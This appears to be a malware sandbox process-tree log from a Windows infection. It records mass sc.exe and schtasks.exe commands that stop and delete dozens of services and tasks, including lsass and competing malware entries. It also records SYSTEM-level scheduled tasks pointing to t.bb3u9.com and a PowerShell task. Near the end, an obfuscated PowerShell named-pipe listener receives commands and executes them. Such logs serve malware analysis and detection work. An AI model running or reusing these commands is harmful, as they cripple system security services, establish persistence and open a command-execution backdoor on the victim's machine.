C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config "Microsoft Telemetry" Start= Disabled
5⤵
PID:2180

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop "Microsoft Telemetry"
5⤵
PID:876

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete "Microsoft Telemetry"
5⤵
PID:984

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config lsass Start= Disabled
5⤵
PID:2240

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop lsass
5⤵
PID:2348

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete lsass
5⤵
PID:1580

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Microsoft Start= Disabled
5⤵
PID:1696

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Microsoft
5⤵
PID:2444

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Microsoft
5⤵
PID:2468

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config system Start= Disabled
5⤵
PID:2448

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop system
5⤵
PID:2792

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete system
5⤵
PID:2864

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Oracleupdate Start= Disabled
5⤵
PID:1608

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Oracleupdate
5⤵
PID:2736

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Oracleupdate
5⤵
PID:2568

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config CLR Start= Disabled
5⤵
PID:2572

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop CLR
5⤵
PID:2604

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete CLR
5⤵
PID:2580

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config sysmgt Start= Disabled
5⤵
PID:2624

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop sysmgt
5⤵
PID:2000

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete sysmgt
5⤵
PID:2680

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config \gm Start= Disabled
5⤵
PID:952

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop \gm
5⤵
PID:2748

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete \gm
5⤵
PID:2856

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WmdnPnSN Start= Disabled
5⤵
PID:2376

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WmdnPnSN
5⤵
PID:2288

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WmdnPnSN
5⤵
PID:2852

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Sougoudl Start= Disabled
5⤵
PID:2380

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Sougoudl
5⤵
PID:2932

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Sougoudl
5⤵
PID:1160

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config National Start= Disabled
5⤵
PID:1436

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop National
5⤵
PID:372

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete National
5⤵
PID:2116

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Nationaaal Start= Disabled
5⤵
PID:624

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Nationaaal
5⤵
PID:2732

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Nationaaal
5⤵
PID:2648

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Natimmonal Start= Disabled
5⤵
PID:324

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Natimmonal
5⤵
PID:2400

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Natimmonal
5⤵
PID:2592

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Nationaloll Start= Disabled
5⤵
PID:1648

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Nationaloll
5⤵
PID:2412

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Nationaloll
5⤵
PID:2304

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Nationalmll Start= Disabled
5⤵
PID:2848

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Nationalmll
5⤵
PID:2760

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Nationalmll
5⤵
PID:2860

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Nationalaie Start= Disabled
5⤵
PID:2740

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Nationalaie
5⤵
PID:1100

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Nationalaie
5⤵
PID:2128

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Nationalwpi Start= Disabled
5⤵
PID:2232

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Nationalwpi
5⤵
PID:1928

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Nationalwpi
5⤵
PID:1172

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WinHelp32 Start= Disabled
5⤵
PID:2992

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WinHelp32
5⤵
PID:1976

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WinHelp32
5⤵
PID:1644

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WinHelp64 Start= Disabled
5⤵
PID:3048

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WinHelp64
5⤵
PID:2108

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WinHelp64
5⤵
PID:1852

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Samserver Start= Disabled
5⤵
PID:2396

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Samserver
5⤵
PID:2104

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Samserver
5⤵
PID:2272

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config RpcEptManger Start= Disabled
5⤵
PID:1104

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop RpcEptManger
5⤵
PID:2884

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete RpcEptManger
5⤵
PID:572

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config "NetMsmqActiv Media NVIDIA" Start= Disabled
5⤵
PID:2484

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop "NetMsmqActiv Media NVIDIA"
5⤵
PID:2432

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete "NetMsmqActiv Media NVIDIA"
5⤵
PID:2536

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config "Sncryption Media Playeq" Start= Disabled
5⤵
PID:2716

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop "Sncryption Media Playeq"
5⤵
PID:1688

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete "Sncryption Media Playeq"
5⤵
PID:2952

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config SxS Start= Disabled
5⤵
PID:2960

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop SxS
5⤵
PID:1604

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete SxS
5⤵
PID:2504

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WinSvc Start= Disabled
5⤵
PID:2184

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WinSvc
5⤵
PID:2356

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WinSvc
5⤵
PID:2936

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config mssecsvc2.1 Start= Disabled
5⤵
PID:2560

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop mssecsvc2.1
5⤵
PID:3104

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete mssecsvc2.1
5⤵
PID:3184

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config mssecsvc2.0 Start= Disabled
5⤵
PID:3304

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop mssecsvc2.0
5⤵
PID:3320

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete mssecsvc2.0
5⤵
PID:3336

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Windows_Update Start= Disabled
5⤵
PID:3352

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Windows_Update
5⤵
PID:3368

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Windows_Update
5⤵
PID:3400

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config "Windows Managers" Start= Disabled
5⤵
PID:3416

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop "Windows Managers"
5⤵
PID:3436

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete "Windows Managers"
5⤵
PID:3452

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config SvcNlauser Start= Disabled
5⤵
PID:3468

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop SvcNlauser
5⤵
PID:3488

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete SvcNlauser
5⤵
PID:3504

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WinVaultSvc Start= Disabled
5⤵
PID:3520

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WinVaultSvc
5⤵
PID:3536

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WinVaultSvc
5⤵
PID:3556

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Xtfy Start= Disabled
5⤵
PID:3576

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Xtfy
5⤵
PID:3592

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Xtfy
5⤵
PID:3608

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Xtfya Start= Disabled
5⤵
PID:3624

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Xtfya
5⤵
PID:3640

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Xtfya
5⤵
PID:3656

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Xtfyxxx Start= Disabled
5⤵
PID:3672

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Xtfyxxx
5⤵
PID:3692

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Xtfyxxx
5⤵
PID:3708

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config 360rTys Start= Disabled
5⤵
PID:3724

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop 360rTys
5⤵
PID:3740

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete 360rTys
5⤵
PID:3764

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config IPSECS Start= Disabled
5⤵
PID:3784

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop IPSECS
5⤵
PID:3800

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete IPSECS
5⤵
PID:3820

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config MpeSvc Start= Disabled
5⤵
PID:3836

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop MpeSvc
5⤵
PID:3876

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete MpeSvc
5⤵
PID:3892

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config SRDSL Start= Disabled
5⤵
PID:3920

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop SRDSL
5⤵
PID:3936

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete SRDSL
5⤵
PID:3952

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WifiService Start= Disabled
5⤵
PID:3968

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WifiService
5⤵
PID:3984

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WifiService
5⤵
PID:4000

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config ALGM Start= Disabled
5⤵
PID:4016

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop ALGM
5⤵
PID:4032

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete ALGM
5⤵
PID:4088

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config wmiApSrvs Start= Disabled
5⤵
PID:3096

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop wmiApSrvs
5⤵
PID:2552

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete wmiApSrvs
5⤵
PID:3128

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config wmiApServs Start= Disabled
5⤵
PID:1920

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop wmiApServs
5⤵
PID:1156

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete wmiApServs
5⤵
PID:3156

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config taskmgr1 Start= Disabled
5⤵
PID:3140

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop taskmgr1
5⤵
PID:308

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete taskmgr1
5⤵
PID:3132

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WebServers Start= Disabled
5⤵
PID:1468

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WebServers
5⤵
PID:3200

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WebServers
5⤵
PID:3160

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config ExpressVNService Start= Disabled
5⤵
PID:3240

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop ExpressVNService
5⤵
PID:3220

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete ExpressVNService
5⤵
PID:3252

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WWW.DDOS.CN.COM Start= Disabled
5⤵
PID:3280

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WWW.DDOS.CN.COM
5⤵
PID:1800

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WWW.DDOS.CN.COM
5⤵
PID:804

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WinHelpSvcs Start= Disabled
5⤵
PID:756

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WinHelpSvcs
5⤵
PID:272

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WinHelpSvcs
5⤵
PID:2476

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config aspnet_staters Start= Disabled
5⤵
PID:1984

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop aspnet_staters
5⤵
PID:1972

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete aspnet_staters
5⤵
PID:3296

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config clr_optimization Start= Disabled
5⤵
PID:1256

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop clr_optimization
5⤵
PID:3188

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete clr_optimization
5⤵
PID:3324

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config AxInstSV Start= Disabled
5⤵
PID:3364

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop AxInstSV
5⤵
PID:3392

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete AxInstSV
5⤵
PID:3404

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Zational Start= Disabled
5⤵
PID:3440

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Zational
5⤵
PID:3472

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Zational
5⤵
PID:3508

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config "DNS Server" Start= Disabled
5⤵
PID:3540

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop "DNS Server"
5⤵
PID:3580

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete "DNS Server"
5⤵
PID:1364

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config Serhiez Start= Disabled
5⤵
PID:3336

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop Serhiez
5⤵
PID:3416

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete Serhiez
5⤵
PID:1100

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config SuperProServer Start= Disabled
5⤵
PID:2960

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop SuperProServer
5⤵
PID:2412

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete SuperProServer
5⤵
PID:3104

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config ".Net CLR" Start= Disabled
5⤵
PID:876

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop ".Net CLR"
5⤵
PID:2792

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete ".Net CLR"
5⤵
PID:2852

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WissssssnHelp32 Start= Disabled
5⤵
PID:2624

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WissssssnHelp32
5⤵
PID:3608

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WissssssnHelp32
5⤵
PID:2116

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WinHasdadelp32 Start= Disabled
5⤵
PID:3504

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WinHasdadelp32
5⤵
PID:2468

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WinHasdadelp32
5⤵
PID:2356

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config WinHasdelp32 Start= Disabled
5⤵
PID:372

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop WinHasdelp32
5⤵
PID:2760

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete WinHasdelp32
5⤵
PID:2884

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config ClipBooks Start= Disabled
5⤵
PID:2572

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop ClipBooks
5⤵
PID:2964

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete ClipBooks
5⤵
PID:2848

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN my1 /F
5⤵
PID:1852

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Mysa /F
5⤵
PID:1348

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Mysa1 /F
5⤵
PID:2748

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Mysa2 /F
5⤵
PID:1976

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Mysa3 /F
5⤵
PID:2128

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN ok /F
5⤵
PID:692

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN "Oracle Java" /F
5⤵
PID:2020

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN "Oracle Java Update" /F
5⤵
PID:2344

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN "Microsoft Telemetry" /F
5⤵
PID:2480

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN "Spooler SubSystem Service" /F
5⤵
PID:760

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN "Oracle Products Reporter" /F
5⤵
PID:2512

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN "Update service for products" /F
5⤵
PID:2728

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN gm /F
5⤵
PID:1492

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN ngm /F
5⤵
PID:2968

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Sorry /F
5⤵
PID:872

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Windows_Update /F
5⤵
PID:2464

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Update_windows /F
5⤵
PID:368

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN WindowsUpdate1 /F
5⤵
PID:2720

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN WindowsUpdate2 /F
5⤵
PID:2168

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN WindowsUpdate3 /F
5⤵
PID:2644

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN AdobeFlashPlayer /F
5⤵
PID:2956

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN FlashPlayer1 /F
5⤵
PID:2980

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN FlashPlayer2 /F
5⤵
PID:2548

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN FlashPlayer3 /F
5⤵
PID:2660

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN IIS /F
5⤵
PID:3312

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN WindowsLogTasks /F
5⤵
PID:3424

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN "System Log Security Check" /F
5⤵
PID:3564

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Update /F
5⤵
PID:3636

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Update1 /F
5⤵
PID:3660

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Update2 /F
5⤵
PID:3704

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Update3 /F
5⤵
PID:3396

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Update4 /F
5⤵
PID:1752

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN DNS /F
5⤵
PID:3780

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN SYSTEM /F
5⤵
PID:2028

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN DNS2 /F
5⤵
PID:3384

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN SYSTEMa /F
5⤵
PID:3052

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN skycmd /F
5⤵
PID:2040

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Miscfost /F
5⤵
PID:1952

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Netframework /F
5⤵
PID:1684

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Flash /F
5⤵
PID:3856

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN RavTask /F
5⤵
PID:3896

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN GooglePingConfigs /F
5⤵
PID:3924

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN HomeGroupProvider /F
5⤵
PID:3956

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN MiscfostNsi /F
5⤵
PID:3988

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN WwANsvc /F
5⤵
PID:4020

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Bluetooths /F
5⤵
PID:4060

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Ddrivers /F
5⤵
PID:3100

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN DnsScan /F
5⤵
PID:3116

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN WebServers /F
5⤵
PID:4072

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN Credentials /F
5⤵
PID:4076

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN TablteInputout /F
5⤵
PID:1912

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN werclpsyport /F
5⤵
PID:1188

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN HispDemorn /F
5⤵
PID:2012

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN LimeRAT-Admin /F
5⤵
PID:616

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN DnsCore /F
5⤵
PID:3164

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN "Update service for Windows Service" /F
5⤵
PID:3232

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN DnsCore /F
5⤵
PID:3264

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Delete /TN ECDnsCore /F
5⤵
PID:1592

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe"
5⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:1340

C:\Windows\system32\NETSTAT.EXE
"C:\Windows\system32\NETSTAT.EXE" -anop TCP
5⤵
- Gathers network information
PID:3288

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /ru system /sc MINUTE /mo 120 /tn t.bb3u9.com /F /tr t.bb3u9.com
3⤵
- Creates scheduled task(s)
PID:2524

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn \hP9ntK /F /tr "powershell -c PS_CMD"
3⤵
- Creates scheduled task(s)
PID:2584

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn \hP9ntK
3⤵
PID:2600

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\2bcwf5oo\2bcwf5oo.cmdline"
3⤵
PID:2660

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RESFC0B.tmp" "c:\Windows\Temp\2bcwf5oo\CSC8E6015E52134C9E800F67490EACAF0.TMP"
4⤵
PID:2872

\??\c:\windows\system32\cmd.exe
/c powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose();$pipe.Dispose();I`Ex($cmd);(new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7')).WaitForConnection()
3⤵
PID:2708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose();$pipe.Dispose();I`Ex($cmd);(new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7')).WaitForConnection()
4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
